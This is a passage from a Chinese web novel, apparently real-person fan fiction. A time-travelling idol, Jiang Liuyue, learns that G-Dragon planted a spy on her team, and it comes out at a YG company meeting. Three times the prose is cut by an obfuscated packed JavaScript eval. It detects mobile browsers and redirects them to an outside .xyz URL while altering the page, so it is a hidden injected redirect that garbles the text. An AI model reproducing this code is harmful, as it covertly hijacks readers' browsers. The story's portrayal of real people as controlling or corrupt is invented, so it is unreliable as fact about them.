倒不是阿苍的技术不好,而是权志龙改过的版本,更符合当下大众对江留月的刻板印象以及大众审美流派。 这就是江留月自从出道第一张专辑采用过鬼马可爱风之后,一直走得那种要不然清淡出尘,要不然就温婉柔美的风格,清纯得如 同一朵带着露水的栀子花,让人心生怜意。 在这个赛道上,江留月的确很能打,但远远算不上一骑绝尘,毕竟她那双黑凌凌的大眼睛,总是无端会带来一些违和的虚无或压 迫感。 可惜拍出定妆照来,大半人都会选权志龙改过的那些版本。 久而久之,就连阿苍都逐渐妥协,往这个风格上靠拢了。 “你大胆的做就行了。” 江留月看着镜子里自己的脸,莞尔一笑:“这是我的头发,自然是我说了算。” 阿苍行动力一绝,立刻开始打开平板开始打型,江留月托着腮看她脸上遮不住的眉飞色舞的样子,心里多少有些五味杂陈。 因为她曾经的一味忍让和窝囊,周围的人也没少受委屈,阿苍是她去中国拍海报的时候挖过来的,跟着她漂洋过海到另一个国家 工作生活,却处处受制。 亏她将权志龙那近乎扭曲的占有欲和控制欲当做炙热的爱意,对此甘之若饴,更是对权志龙这个时尚Icon的身份有着近乎盲从的 崇拜,总觉得权志龙改过的确实是更好的。 阿苍明明应该是她的得力干将,却被磋磨的像是权志龙或泰贤老师手下的实习生,这是她的错。 “这次我们做造型不用去申请公司的了,去汉南洞那边去看一个造型工作室吧,这个拿去用。” 江留月抽出一张信用卡递给阿苍:“以后置装费用都从这里出,不用走公司了。” 阿苍整个人都凝固了,用一种近乎无措的表情看着她。 然后,她似乎福至心灵,本来有些犹豫和担忧的表情消失不见,取而代之的是压抑不住的激动和兴奋,阿苍鬼鬼祟祟的压低了嗓 子说起中文:“…你是不是想单飞了?” “现在还没有。” 江留月用中文说道:“现在还不是好时候,但,你可以先独立出来。” 只是点到为止的对话,但阿苍get到了足以让脑袋宕机的信息量,她接过信用卡小心的塞到自己的腰包里,很明显呼吸都急促了 一些。 “所以,南思风被开除出团队也是这个原因吗?” “……南思风被开除了?” 江留月一愣。 昨天晚上她才开口向权志龙说这事儿,今天南思风就卷铺盖走人了?权志龙的行动力也过于快速了吧。 “你不知道?” 阿苍立刻掏出自己的手机调出信息递给江留月,并补充道:“虽然我们都知道会这么一天,但确实挺突然的,今天大家都还在讨论到底谁会接下南思风的位置呢。” 江留月皱着眉看着手机页面,那是YG公司内部使用的软件,类似于国内的钉钉,她看到了公司公告区上有新的内容,大意是江留 月的部门不再由南思风进行统筹负责,一切商务对接暂由李顺英接管,南思风暂调入商务部作为机动人员。 尽管有预感,但看到李顺英的名字,江留月还是抗拒的皱起了眉。 她并不是没想过把李顺英也赶出去,但,权志龙能把李顺英塞进来,也能塞进来黄顺英,郑顺英赵顺英,前者好歹是一张明牌, 后者只会导致她对周围的人都充满不信任。 江留月需要一个靠得住的自己人。 此时此刻,金优的名字再次出现在江留月的脑海里。 她感到一阵烦躁。 如果此时此刻,她面对的是2014年的金优,她会毫不犹豫的把人给挖过来,但对方偏偏是2024年的金优。 2024年,金优已经是她身边最得力的助手了,说是左膀右臂都不够,是作为江留月团队大脑一样的存在。 江留月的绝大部分商务和团队里的法务部门都由金优掌控,这样五六年的时间里,金优都没出现过什么大的纰漏。 不光是江留月和工作室的小伙伴,就连江留月的粉丝都很信任他,其他艺人的倒霉蛋团队们更是经常被拉出来做对照组。 正因为如此,江留月想要换掉金优的时候,才发现自己处处受制,生活工作都几乎被密不透风的控制起来了。 她险些以为自己掉入了另一个‘权志龙’的牢笼里面。 好在,金优并不是权志龙,他有着稳定的情绪,能够包容江留月激烈的情绪与天马行空的想法,也能够接受她断崖式的分手。 江留月和金优的分手来的就像是他们的交往一样突兀和轻率。 江留月用半开玩笑的口吻问他,如果在工作室的负责人与她的男朋友中只能选择一个身份,他会选哪个。 金优正在敲打键盘的手忽然停顿了下来。 他静静地看着江留月,他相貌不算优越,但干净得体,多年权势财富加身让他也有了不怒自威的气势。 江留月则带着开玩笑一样的笑容,漫不经心的看着他。 在这段关系中,她是绝对的上位者,因此,她并不那么在意金优可能会出现的愤怒。 短暂的对峙之后,金优轻轻地呼出一口气。 “你想要分手了,是吗?” 江留月怔了一下,诚实的点了点头。 “我能知道理由吗?” “……你想要什么样的理由呢?”江留月盘腿坐在贵妃榻上,单手撑在自己的膝盖上托腮,一只手摇晃着手里的一串琉璃珠子: “如果要讨论爱情的话,很难说我们之间有这样感情的存在吧。” “我只是觉得,你的存在感有些太强了,金优。” “在工作的时候看到你,回到家还要看到你,你在我这里的界限变得很模糊,你似乎总是在替我做决定,以前是在工作的时候, 现在我的私人生活和社交,你也在帮我做决定。” 江留月寻找到了一个合适的形容词:“你……在争夺我们之间的主动权,我感觉到了,而且,非常不爽。” 金优陷入了沉默。 这次他沉默的时间有些久。 江留月等着他的质问。 但金优没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873529|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 金优只是合上了电脑:“我明白了,我们分手好了,我会退出你的生活,你只会在工作的时候见到我,这样的话,你能接受 吗?” 江留月有些惊讶。 金优的情绪和反应过于平稳没有波澜,反而让她已经预备好的台词和反应都没着没落的。 金优甚至都不去问,到底是哪个决定,触犯了她的底线。 也可能,金优知道。 他尝试跨过那条线,然后遭受到了反噬。 江留月沉默了片刻之后,干巴巴的找补了一句:“对不起,这是我个人的问题,我迁怒了你,我很抱歉。” 乔娜去世之后,江留月和柳天赐几乎断了联系,她对母亲那掺杂着痛苦、仇恨、依恋和渴望的复杂情感被死亡剥去杂质,只剩下对母亲的遗憾和痛苦,回忆起乔娜的时候,也只剩下两个人为数不多的和睦时光。 金优这个和她一起对抗过母亲的人,忽然变得扎眼起来。 江留月那时候时常后悔,不应该对乔娜如此的偏激,如此强硬,偶尔也会想,如果没有金优这个人的出现,自己是不是就会默默 地忍受乔娜,不会离开她? 当然不是。 但,谁让金优存在了呢? 江留月也觉得自己这样的想法过于刻薄、恶毒,甚至忘恩负义,于是她的心中难免的涌上对金优的愧疚。 金优又有什么错,要来自己身边遭受这样的无妄之灾呢? “你后悔吗?” 江留月问金优。 “你后悔帮助我离开韩国吗?” 金优是怎么回答的呢? 金优只是笑了一下。 他说:“我从来没有后悔过我做的一切。” “塔伊,是你后悔了。” * 江留月被刺痛了。 她因为金优说的话而烦躁,笑话,她有什么好后悔的,韩国那种日子她早就过够了,她又不是嫌现在的日子过得太舒服。 但她确实破防了,以至于看到金优,就会想起他说这句话时笃定而平静的表情。 从那之后,她与金优离心了。 两个人表面上是和平分手,实则是江留月单方面的在躲避对方,她给金优重新规划了更多的分红,也将他推离自己的身边。 她依然年轻美貌,地位如日中天,账户里的钱过她花天酒地过上三辈子,自然多得是年轻俊美的裙下之臣。 她参演了一部大制作的网剧,男主角比她小了五六岁,是炙手可热的新生代,年轻的男孩在剧本围读的时候坐在她的旁边,她不 小心拿错了水杯喝了一口,发现的时候正要道歉,男孩已经面红耳赤到要晕过去。 年轻人的恋慕纯净而炙热,想要装瞎子都不行,为了能让心上人莞尔一笑,便绞尽脑汁,江留月都觉得自己恍恍惚惚,要醉倒在 年轻人狂热的攻势中。 男孩磕磕巴巴的说,自己早就是她的粉丝,从很久很久之前开始,他的音乐启蒙就是江留月的第一支MV。 江留月回忆了一下2008年初的MV风格,自己大为窘迫,感觉那不过是个黑历史,但见男孩说的那么真诚,回到酒店房间又忍不住 自己搜索回顾了一下。 MV点开不过三秒,出现的先是权志龙的声音,他打扮成了疯帽子的形象,为她的第一支同名主打曲《Alice》做导入。 江留月啪的扣下了平板,但平板依然在播放那支十几年前的歌曲,一遍一遍又一遍。 第二天,江留月的眼睛直到拍摄的时候都还有一些红肿。 男孩惶恐又心痛的前来关心,害怕她是不是碰到了什么伤心的事情。 江留月拖着宽大华丽的衣袍坐在一张露营椅上,她微微歪头,头上繁复的首饰哗啦作响,苍白的脸颊上一双微红的双眼闪烁着隐约的光芒。 她用软绵绵的嗓音说道: “你不是说08年09年就开始当我的粉丝了吗?” “那时候有没有什么有趣的事情,可以都分享给我听吗?” 我都快要忘完了。 我以为。 我都忘完了呢。 * 2008年3月,bigbang发布第二张演唱会专辑《The Great》之后,YG趁热打铁,旗下女艺人Alice以同名专辑《Alice》出道,在 同名主打歌《Alice》中,bigbang队长G-dragon在以《爱丽丝梦游仙境》为主题的MV中扮演疯帽子并参与feating引发关注。 他在歌曲最开头中以一句话介绍了Alice的身份。 “Wee to the wonderland,This is YG family,Our lovely babysister, My little princess—— my baby alice。” 29.直接自爆 29. 直接自爆 俗话说,人算不如天算。 还没等江留月想好要怎么处理李顺英的事情,李顺英自己先爆了个惊天大雷。 接到电话的时候,江留月正和拿着卷发棒的阿苍在讨论刚染好的头发怎么卷弧度和做造型比较好。 她接了电话,听了那头说的话之后,一时之间竟然有些懵住了。 电话那头是杨贤硕直属的安室长,算是YG整个公司体系里主要负责人事安排的一位管理高层,他语气委婉的告诉她,李顺英出了 一些事情,需要她这个艺人一并在场来进行集体会谈,希望她抽出时间现在就到公司去一趟。 起初江留月以为是李顺英要提前上位,但安室长的语气听起来并不像是个好事。 李顺英出事了? 要真是出事了,能惊动安室长,也不会是什么小事儿。 在江留月的记忆里,曾经的2014是没有这一出的,如果不是因为她回国内发展,李顺英必然会接替南思风的位置成为大经纪人来 负责她的一切事务。 无论如何,江留月都要赶紧回公司一趟,她刚染好的头发必然不能这样草率的曝光,阿苍将头发小心的轻轻卷起来塞进卫衣帽 子,又在卫衣帽子外面固定了一顶棒球帽,将她那点儿头发丝都捂得严严实实的,才放她离开。 江留月紧赶慢赶,在半个小时之后来到了公司,她才一下车,就发现安室长的秘书已经等在了电梯口,表情也是同样的严肃。 江留月颇感稀奇,于是问了一嘴到底发生了什么。 安室长的秘书简单扼要的交代了一下,听得江留月大皱眉头,心里一个劲儿的叫着不好,面上还要装作风云不惊的样子。 她最不希望发生的事情,以一种离奇的方式发生了。 之前也提到过,江留月对李顺英是权志龙卧底这件事儿心知肚明,她不愿意李顺英上位顶替南思风,也不愿意李顺英被弄走,李 顺英这张明牌如果打得好,她完全可以利用李顺英在权志龙面前“做假账”,而不是提心吊胆接下来进入自己团队的每个人是否 是新卧底。 偏偏,李顺英自己没管住自己。 大约是江留月返回2014年引发了一系列的蝴蝶效应,李顺英在曾经的此时是没有那么大的权力的,他年龄和学历都尚浅,也没有 什么娱乐圈的人脉,再加上他这个人的性格稍显浮躁了一些,因此很不受到YG公司元老派的喜欢。 南思风则情况不同,他是从练习生转过来的,人脉很广,性格上虽然有很大缺陷,喜欢媚上欺下,但他媚得好啊,尤其是YG元老派里,好些个人被他伺候的妥妥帖帖,因此一直稳坐头把交椅。 南思风不喜欢李顺英,时长利用自己的身份压迫对方,李顺英则看不上南思风,觉得以自己的能力应该有更好的出路,两个人一 直都有龃龉,只是碍于同在一个团队,并没有扯在明面上罢了,所以江留月对他们俩之间的矛盾并不知情。 权志龙也有自己的考量,一个是他要扶持自己的嫡系李顺英上位,第二个就是他最近因为江留月的事情和杨贤硕扯了好几次皮, 担心杨贤硕在工作上给自己家小朋友找不痛快,因此江留月说南思风消极怠工后,权志龙立刻就警觉了起来,雷厉风行的就把人 先给挪出了团队。 南思风之前就因为江留月要做新专辑的事情没有通知自己而憋了一肚子气,现在直接来了个开除动作,自然心中满是怨气,偏偏自己离开之后,被压一头的李顺英眼看就要青云直上成为大经纪人,这让南思风怎么都咽不下这口气。 南思风叫了几个人,本想去找李顺英要个说法,没料到一群人杀到酒馆,却正听到李顺英喝了几两酒正满脸通红的吹嘘自己。 “……他南思风凭什么能干的过我……他知道……他知道我背后是谁吗?嘻嘻嘻……说出来吓死你们……只要我能伺候好我身后 的这位祖宗,我想要当室长,也不是不可以,区区一个南思风……哼……” 南思风本也不是个心胸宽阔的人,一听这话,立刻将所有的怨气都发泄到了李顺英身上,认定这家伙一定是通过不正当竞争才排 挤走了他,直接冲上去拽住李顺英就是邦邦两拳。 李顺英同桌的人一看这个架势,急忙上来拉扯,你一下我一下,直接升级成了混战。 当时跟着南思风去的人里,不仅有南思风的朋友,也有当时YG元老派的两个关系不错的员工,其中一个就是安室长手下的。 安室长主管人事,手下的人对这种人际关系的信息极度敏感,在一场打架闹剧之后将这件事情汇报给了安室长,最后一下子捅到 了杨贤硕那边,才有了现在的三堂会审。 江留月听完了对方的报告,只觉得自己太阳穴都在突突的痛。 她不得不开始思考,李顺英那个看起来不是很能扛得住压力的家伙,如果这个时候交代了背后金主是权志龙,那她要怎么办。 2014年之前,江留月也在李顺英手里吹掉过几个不错的影视邀约,她其实并不能确定哪些是对方搞鬼哪些就是真没选上自己,但 很显然,此时的她不会对‘我哥在我身边安排了个卧底’这件事情有太温和的反应。 问题来了,她要怎么演,才能让这件事情最终的焦点不会落到她和权志龙的关系上? 说实话,江留月对权志龙现在和她的状态挺满意的,她哥被她哄得五迷三道,不仅给她写歌,还主动联系了两个杂志封面给她拍,还为她搞到了好几个时尚资源,私下相处也是服务态度极好,有情趣有态度的,私生活过的惬意,让江留月工作起来都有干 劲多了。 权志龙的本性也许依然是自私狠毒的,依然利用她对李顺英的信任搞黄她的工作,但,江留月对此已经并不在乎了。 她现在就是想尽快利用她哥的才华横溢给自己整一张好的个人专辑,然后乘上明年bigbang回国的东风顺势转战国内,在她 哥去当兵之前维持住这种虚伪但平衡的感情,等她哥去当兵了,她就在内娱好好过日子,先把自己的事业做起来。 男人的真情还是假意,并不重要,她只是迫切的想念自己的一姐位置和内娱那财大气粗的金主父母们。 等到她事业腾飞,自然没有人能拿捏住她,杨贤硕都得站着回她的话,这种生活想一想都美滋滋…… 在此之前,权志龙对她炙热到近乎扭曲的恋慕,正是她的铺路砖,青云梯。 江留月小算盘打得哗啦哗啦响,做梦都想不到算盘珠子会突然崩自己一脸。 她真不想跟她哥玩什么虐恋情深,把曾经撞破时的血泪史再演一遍,让周围的人都陪着鸡飞狗跳。 她讨厌那种被负面情绪萦绕的感觉,而且…… 江留月的呼吸都急促了一些,只觉得一股怨气在胸口盘旋不定,头皮上被漂染的刺痛还在,提醒着她为了重来一次的事业都付出 了什么。 她刚做的造型,刚排练的舞台,没两天就要开始的家族演唱会…… 江留月开始烦躁了。 她很讨厌自己的计划被打乱,尤其是现在一切顺利的时候,因为某个人的个人愚蠢行为导致的混乱。 因此她推开门的时候,表情都臭臭的,虽然棒球帽遮住了眉眼,但所有人都能看到她抿得紧紧的嘴唇和紧绷的下巴。 杨贤硕坐在主卫,手里拿着个棒球帽挥来挥去的,看到她进来,用帽子随便甩了一个方向,示意她找个位置坐下。 江留月先鞠躬挨个跟他还有安室长这种长辈问好,然后扫了一眼,发现南思风和李顺英一人一边,鼻青脸肿的坐在桌子对面。 打得还挺精彩…… 江留月默不作声的坐下,竖着耳朵听他们说话,想知道现在李顺英到底招到哪个程度了。 “Alice现在也来了,你们有什么说的吗?” 杨贤硕问道:“你们都是跟着Alice一起工作的吧,也要听听Alice的意见。”他瞥了一眼江留月:“你都知道了没有?” “一点点。” 江留月面无表情:“大概就是……南室长在说顺英哥不正当竞争?” 南思风急切的开口道:“我亲耳听到的,Alice,这个小子凭什么能取代我的位置?!他能做到这样,是因为他背后有人在指使!” 江留月:“……” “因为背后有人指使,他才能有今天的地位,Alice,你难道不想知道谁在指使他吗?” 不好意思哈,江留月面无表情的想,她已经知道了,而且还想装不知道。 当初撞破也就罢了,在场的不过就是李顺英、她与权志龙,而且江留月是个对私人情感生活很有界限感的人,也很注重这方面的 隐私,因此尽管和权志龙因为这件事情闹分手闹到鸡飞狗跳,也几乎无人知道事情的真实面貌。 她确实没有什么兴趣跟人家分享自己的恋人是个自私鬼偏执狂…… 这又不是什么光荣的事情! “顺英哥怎么说?” 江留月将话题从自己的反应转移开:“……说实话,我对这件事情不是很懂啊……我又不是什么特别红的人,费那么大劲儿到我 身边当经纪人,图什么啊。” 她已经将暗示讲得很明白了,希望李顺英会懂。 结果南思风比她激动多了。 南思风几乎是拍案而起:“你怎么能那么说自己,Alice,你知道你多能赚钱吗?!你那么多商务广告和代言,那是多么大的权 力!正因为如此,这些别有居心的人,才会把坏人放在你的身边!” 江留月:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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也对自己曾经对李顺英的信任感到自我怀疑。 这样一个心理防线脆弱,毫无演技可言的家伙,为什么能在她身边藏那么久啊!!! 也是,此时才是2014年,李顺英还年轻,更何况,他家里刚有长辈去世,整个人的心理防线都要比平时脆弱一些。 “社长!!社长!!你要相信我啊!我真的不是商业间谍,我对公司很忠心的!!” 李顺英见众人都沉默了下来,以为自己说的话不被相信,立刻喊了起来:“真的是GD xi他找我来的!GD Xi他……” 他这一声喊,江留月就知道,自己必须得出手了。 “闭嘴!” 江留月拍案而起,提高了嗓门阻止了对方的继续自爆:“你在说什么,我不相信,志龙哥才不会这样做!” 她努力扮演一个全身心维护男友的单纯女孩形象,然后狠狠地瞪了一眼杨贤硕:“社长,您说句话啊!!” 江留月在赌杨贤硕会为了维护权志龙睁眼说瞎话,把这件事情含糊过去,说实话,只要杨贤硕愿意蒙混过去,江留月可以当一个 恋爱脑,什么都不知道。 她从未如此期盼过杨贤硕能发挥恶婆婆的一贯特质,维护权志龙,骂她异想天开,骂李顺英胡说八道竟然往太子爷身上泼脏水。 然而,杨贤硕却只是用一言难尽的表情看着她。 然后心虚的低下了头。 江留月:???? 不是,您这时候心虚什么啊!!愧疚什么啊!! 您的良心不是早就八百年前就无了吗!?!?!?! 其实,在场人在李顺英自爆之后,都陷入了尴尬和诡异的沉默。 荒谬,实在是荒谬。 合理,但也实在是合理。 李顺英见江留月不信,越发急了: “是真的,社长,那钱就是GD Xi给我的!!” “我什么没做啊,我只要向他说明Alice的行程就行了,我从来没做过对不起公司的事情啊!!” “我让你闭嘴啊!!我不相信!!!” 江留月都要崩溃了,她抓狂的抄起面前的纸巾盒砸向了对方:“别说了!!” 她真的!不想!和权志龙去虐恋情深!!! 她不想跟权志龙吵架! 权志龙写的歌才给了两首!!!!! 新找的时尚资源对接人还没拉群呢!!!! 江留月激动的情绪和行为吓了大家一跳,周围几个人赶紧上来安抚她,江留月拒绝所有人的靠近,整个人都靠在了墙上让他们滚 开,她现在杀人的心都有了。 在一片混乱中,杨贤硕忽然大吼一声:“都闭嘴!!” 众人都闭嘴,江留月颤抖的心脏总算平稳了一些,她想,杨贤硕终于要出来挽回权志龙的形象了。 她急促的呼吸着,调整情绪,想着要怎么顺坡下驴,然后找机会让李顺英闭嘴。 就在此时,她却听到。 杨贤硕:“去把志龙叫来,我要当面问他。” 江留月:“……?” ……我驴呢? 不是,这虐恋,非虐不可吗诸位!?! 30.掌中之物 30.掌中之物 江留月阻拦的话语在嘴边打了几个滚,最终还是咽了回去。 她有想过要不要来创造一个恋爱脑形象,把这件事情暂且按下,至少不要让权志龙知道。 但看李顺英那已经尿都要憋不住的样子,她也知道,这件事情根本瞒不住。 她之前拿纸巾盒砸人的时候人已经站了起来,这会儿整个人都贴在墙壁上,双手环胸,全身紧绷,显得十分戒备。 众人只当她受到了过度冲击在伤心,一时之间房间里沉默了下来。 “坐下来。” 好一会儿,杨贤硕才用和缓的语气说道:“站在那干嘛。” 江留月没有动,她很想抓一下头,漂染过的头皮刺痛麻痒,正如她现在的心情。 一盆沸油乍然泼入冰水,她只觉得浑身都不舒服。 “Alice。” 杨贤硕加重了一些语气。 江留月心里在翻白眼,知道杨贤硕要开始为权志龙找补了。 一直以来,一直都是这样的。 权志龙错也是没错,错也是为了爱她。 她没错也是有错,错在权志龙爱她。 不管对方做出什么,旁人听了,似乎都只会感叹,权志龙确实爱她爱得掏心掏肺,而她如此冷情冷淡,甚至抗拒逃跑,简直是不 知好歹。 她忽然感到了很深的疲惫和厌烦感。 是了,是她来到2014之后,日子的确好过一些了,甚至感受到了稀薄的幸福,所以总是萌生出这样生活下去也不是不行的软弱想 法。 今天的爆雷,到底是老天爷看不惯她的顺风顺水,还是老天爷在警醒她? “志龙他……” 江留月抿着嘴唇,强压下了心里头的不耐。 志龙他也是因为爱你。 志龙他出发点也是好的。 志龙他也有自己的苦衷。 志龙他需要你的体谅包容。 毕竟他是权志龙啊。 几乎整个YG都指着他吃饭,是一举一动影响着风向标也影响着YG的股价,是在这个公司里真正手里掌握着实权的土皇帝。 没有人愿意得罪权志龙,相反,大家都在争相讨好他,哪怕自己的工作和权志龙并无什么直接关系,大家就是本能的讨好着他。 自己的尊严尚且不放在心上,她的人生和尊严在这群人心里又算什么呢。 这令人恶心。 江留月感到一阵又一阵的反胃,她下意识的用手捂着胸口,想要强行压下这种不适感。 “志龙他……” “做得不对,做错了事情,我会骂他的。” ……诶? 江留月近乎愕然的看向杨贤硕。 这和她想的,根本不一样。 杨贤硕的脸上有着不易察觉的心虚,他一直都是个不善于表现安慰这种软化情绪的人,所以说出来的话也硬邦邦的。 “我看这小子八成也是疯了。” “要不要原谅他,你自己看着办吧,我管不了。” 江留月下意识的后撤一步,头磕在了墙壁上,才意识到自己不是发梦。 说这种话的人,真的是那个没良心没底线的杨贤硕吗? 真的是那个解约的时候扣下自己的艺名和歌曲版权,再天价卖给自己的无良资本家吗? “不管怎么样。” 杨贤硕继续说道:“别影响演唱会啊。” ……好的,是他,没错了。 不过,已经很吃惊了。 江留月仔细回顾了一下自己记忆里的杨贤硕,后知后觉的意识到,眼前的杨贤硕还是2014年的杨贤硕,可能还残留一些良心在身 上。 是她一直用2024年的杨贤硕印象套用在他身上,反倒有些刻板了。 即便如此,她的心里,也不自觉的泛起一种有些恍惚的不真实感。 曾经,她撞破权志龙和李顺英交易的时候,两个人闹得不可开交,当时不少人都对他们之间的“战争”投入了关注,也试图参与 说和。 就连一直看不顺眼两个人关系的杨贤硕也加入了,他硬着头皮来用训斥的口吻让江留月懂事点不要闹了赶紧和权志龙和好,至少 要让权志龙安稳的度过目前繁忙的专辑宣传期,不要影响到公司股价。 除了杨贤硕,绝大多数人都是来劝和的。 江留月感到了极为强烈的背叛感,她竖起浑身尖刺无差别攻击所有人,以至于从那之后,她和绝大数人的关系都降至冰点。 后来,她有了金优作为经纪人,开始为自己回国铺路,很快走到了和YG解约的地步,彻底淡出了韩娱圈。 不管是网民、粉丝还是韩娱博主,在盘点她的事业线的时候,都默认是因为她和权志龙关系破裂,导致她被驱逐出了这个圈子。 ……好像,她也是这样认为的。 大家都是权志龙那边的,她是孤身一人。 劝和的这些家伙,都是不会共情她的人,都是抛弃她的人。 可在这个瞬间,江留月坐在这个办公室里,看着杨贤硕不失尴尬的表情,恍恍惚惚的想起了一些细节。 杨贤硕训斥完了她之后,似乎还说了别的话。 【好好过日子,你和志龙,好不容易走到了今天,有什么事情不能好好沟通,为什么要想是个小孩子一样折磨彼此。】 【你们不应该是相伴一生的人吗?】 【想要相伴一生的人,不会这样处理矛盾。】 现在想想,被背叛的耻辱感让她放弃了对众人说明真实的吵架原因,就所有人都是不明所以的,只知道他们俩忽然闹到要分手的 程度。 当初只要有人来劝和,她就无差别拉黑对方,她过于痛苦,因此当任何人伸出手来,她都认为,这是一种攻击。 当时,没有人理解她,除了金优。 只有金优。 江留月忽然感到一阵头痛,打断了她的回忆,似乎有什么东西,不受控制的从胸口翻涌出来,闷闷的,让她喘不上气。 她一阵阵反胃,最终没忍住干呕了几声,捂着胸口好一会儿才吞咽下那诡异的恶心感。 “……” 众人的表情忽然就变得微妙起来,落在她身上的目光变得有些诡异。 江留月并没有察觉这些,她确实有些站不住,于是拉开椅子坐下,有些恹恹的捂着自己时不时抽痛的额头。 此时办公室已彻底没有人说话了,不管是李顺英还是南思风,都用一种难以言说的表情看着江留月。 她裹得严严实实,只能看到一点点侧脸和尖尖的下巴。 过于消瘦,过于苍白,却偏偏怕冷一样裹得密不透风。 杨贤硕忽然觉得自己的血压高了起来,他张了几次嘴,最后又咽了回去。 他想问,又不敢问。 偏偏,权志龙一直没来。 几分钟之后,杨贤硕终于熬不住了。 他用暴躁中带着不易察觉恐惧的嗓门,硬撑着质问的语气: “Alice。” “嗯。” 江留月答应了一声,抬起了头。 杨贤硕从牙缝里挤出一句话: “你怀孕了吗?” 江留月:“……” 她现在真的要怀疑,她根本不是穿到了2014年,而是穿进了同人小说了。 江留月深吸一口气:“绝无此事,社长。” 杨贤硕:“……” 他手里的帽子都要揉烂了。 好。 对方根本不信呢。 江留月从周围人和杨贤硕的表情中解读到了他们的真实想法,心里头再次翻了个白眼,这种可怕的误会可千万不能有苗头,不然 就没完没了了。 索性她和权志龙是社内公开,她干脆没脸没皮的说道:“做着措施呢,社长。” 杨贤硕:“……” 他嘴唇哆嗦着,很明显被江留月的暴言给惊呆了。 江留月倒是平静下来了,用一脸无所谓的表情看着他。 杨贤硕却很踌躇。 “……志龙万一做了什么错事怎么办。” 江留月:“……” 她忽然发现,好像,大家都比她还觉得,权志龙是个疯批的。 她沉默了片刻,然后忽然笑了一下。 “别了,社长,哪有这种事。” 江留月轻飘飘的说道:“您不是一直说,是我缠着志龙哥不放吗,所以,怎么会是他做这种事情呢。” 杨贤硕被噎了个半死,他急促的喘息片刻,再也问不出什么,气呼呼的继续揉自己的帽子。 江留月这会儿头痛减轻了很多,反而有闲心在观察周围了。 南思风和李顺英各自一脸天塌了的表情,不知道在塌什么。 杨贤硕和安室长表情都是司马表情,也不知道在想什么。 真有意思啊。 她忽然发现了一件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894028|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非常新奇的事情。 一直以来,因为权志龙的地位使然,他在YG过着皇太子一样众星拱月的生活,无论男女,献殷勤的人不计其数,而YG人对待江留 月微妙的态度,似乎也在告诉她,她是一个受到皇太子眷顾所以应该感恩戴德的人,而皇太子眷顾她的原因,是因为她占据了天 时地利人和,在权志龙的微末之时就陪伴在身边,又有几分姿色才有如此殊荣。 在她和权志龙的关系被发现的时候,杨贤硕也是这样暴跳如雷的,江留月一直以为,杨贤硕认为自己是拱了白菜的猪。 但现在,她后知后觉的发现。 原来大家都知道,她才是被拱的那个。 原来大家都知道,在她和权志龙的关系中,权志龙才是那个偏执到扭曲的人。 这样一想,大家疯狂的劝和似乎有了别的解读。 不是因为讨好权志龙。 而是因为,能拴住这个疯子的人,只有她。 “我很好奇,社长,我能问个问题吗?” 江留月的灵光一闪,似乎解决了困扰她不知道多少年的问题。 她一直都不明白,为什么大家对她的态度如此微妙。 似乎不喜欢她,因为大家都对她保持着距离,客套而生疏。 似乎不认可她,因为大家总是不自觉的让她一个人待在一边,她想要走进,大家都赶紧后退。 【是不是我不被喜欢。】 【是不是我不属于YG。】 【是不是大家觉得我是麻烦的存在?】 她一直孤独的,自我怀疑的生活着的真正原因。 李顺英喊出那句话之后,就不再有人质疑,就连杨贤硕都无法为权志龙辩解、发火的理由。 “安室长,如果方便的话,我也想请您回答一下。” “还有,南室长,顺英哥。” “或许……一直以来,你们对我的态度,不是因为讨厌我,是因为……志龙哥吗?” 江留月顿了一下:“他在背地里发疯了?” 江留月的话语刚落地,大家都露出了很难绷的表情。 就连吊儿郎当的南思风,脸上的表情都变得很复杂。 没有回答。 胜似一切回答。 江留月忽然觉得荒谬的笑了一声。 好荒谬。 她竟然没想过这种可能性。 在大半都是男性成员、男性艺人的公司里,江留月却没有感受到过任何男性的凝视。 ……不。 也许有过。 只是她觉得那是错觉,因为一旦感到不舒服之后,那个凝视,很快就消失了。 不对。 消失的不是凝视。 消失的是,凝视她的人。 在她还年幼的时候,这个消失,会很缓慢,凝视会从觊觎先变成忌惮,然后从忌惮变成恐惧,最后才是消失。 后来,她长大了,消失也变快了。 最后,这种消失,不再被她察觉。 她在YG一直不被重视,不被看到,不是因为,她不够好。 相反,她一直,闪闪发光的存在着。 是因为,大家主动避开了目光。 是因为,她是璀璨的,龙的珍宝。 如果轻易触碰,就会惹怒龙。 所以,要束之高阁,要放置在龙的利爪之中,要被藏入巢穴,只有足够安全的领地里,龙才会把她放出来,当她出现的时候,龙 的目光就笼罩着她,始终注视着她。 江留月回到内娱之后,面对刀光剑影,勾心斗角的时候,偶尔也会怀念韩娱,在她的回忆里,韩娱圈里她的活动范围虽然不够宽 广,但她遇到的人,似乎都挺不错的,而且不管是综艺、演戏、打歌,她每次公开露面,总是巧合的和bigbang的哥哥们或者2NE1的宣传期有所重合,她几乎没有孤身上过什么综艺,似乎总是有熟悉的人陪伴在身边。 因此,内娱综艺发展不顺利的原因,也有因为缺少了熟悉的人来当搭档出不了什么效果的原因在。 江留月当时毫无察觉,只是觉得内娱综艺似乎不如韩娱好玩,大家也似乎心思更重。 【还是韩娱的综艺好玩,像是游乐场一样。】 